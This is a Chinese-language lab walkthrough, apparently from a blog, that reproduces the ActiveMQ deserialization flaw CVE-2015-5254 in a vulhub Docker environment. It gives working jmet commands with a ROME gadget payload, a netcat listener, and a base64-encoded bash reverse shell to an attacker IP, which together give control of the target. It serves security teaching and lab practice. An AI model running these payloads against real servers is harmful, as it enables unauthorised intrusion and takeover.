准备两个linux虚拟机,一个为目标机(,以下简称A,ip:192.168.98.30),一个为攻击机(以下简称B,ip:192.168.98.70)
先搭建靶场,打开A,教程在这里vulhub靶场搭建及漏洞复现教程_Cwillchris的博客-CSDN博客
服务器A的生产端口(即用户可访问端口)为61616,管理端端口(后台)为8161
打开A
1、进入该漏洞环境所在目录
cd /root/desktop/vulhub/activemq/CVE-2015-5254
2、启动docker,会自动调用搭建漏洞环境
docker-compose build
docker-compose up -d
3.浏览器访问 http://192.168.98.30:8161,这样我们就登入了服务器后台
打开B
4、在B中,构建攻击payload。
首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
下载jmet
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
创建external文件夹
mkdir external
5、给目标ActiveMQ添加一个名为event的队列,此时就成功给服务器A添加了一个“事件”
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/hacker_test" -Yp ROME 192.168.98.30 61616
6、现在A的管理员不知情,还是像往常一样打开以下链接查看事件,弹框输入账号admin,密码也是admin
http://192.168.98.30:8161/admin/browse.jsp?JMSDestination=event
管理员看到出现事件,下意识的点开
出现了如下界面,这下咱们的payload就执行了而且向A的/tmp下面写入一个文件hacker_test
不信的话,咱们看看目标机A的/tmp目录
查看正在运行的docker容器,只有一个 fe4ce23b1684
docker ps
进入容器
dockers exec -it fe4ce23b1684 /bin/bash
进入/tmp目录
cd /tmp
查看该目录下文件,发现了刚才写入的hacker_test,说明漏洞利用成功
ls
7、获取目标机系统控制权
在攻击机B上新建一个终端(1)开启6666端口监听
nc -lvp 6666
payload为 bash -i >& /dev/tcp/192.168.98.70/6666 0>&1
将payload进行base64位编码为:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk4LjcwLzY2NjYgMD4mMQ==
在B上新建一个终端(2)输入如下命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk4LjcwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.98.30 61616
然后终端(1)就监听到了,用ls查看目标机A上的目录
新建一个文件 echo "I am a hacker" > 1.txt
返回目标机A,查看多了1.txt,说明成功控制对方系统
扩展知识:
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down
bash -i >& /dev/tcp/攻击机ip/port 0>&1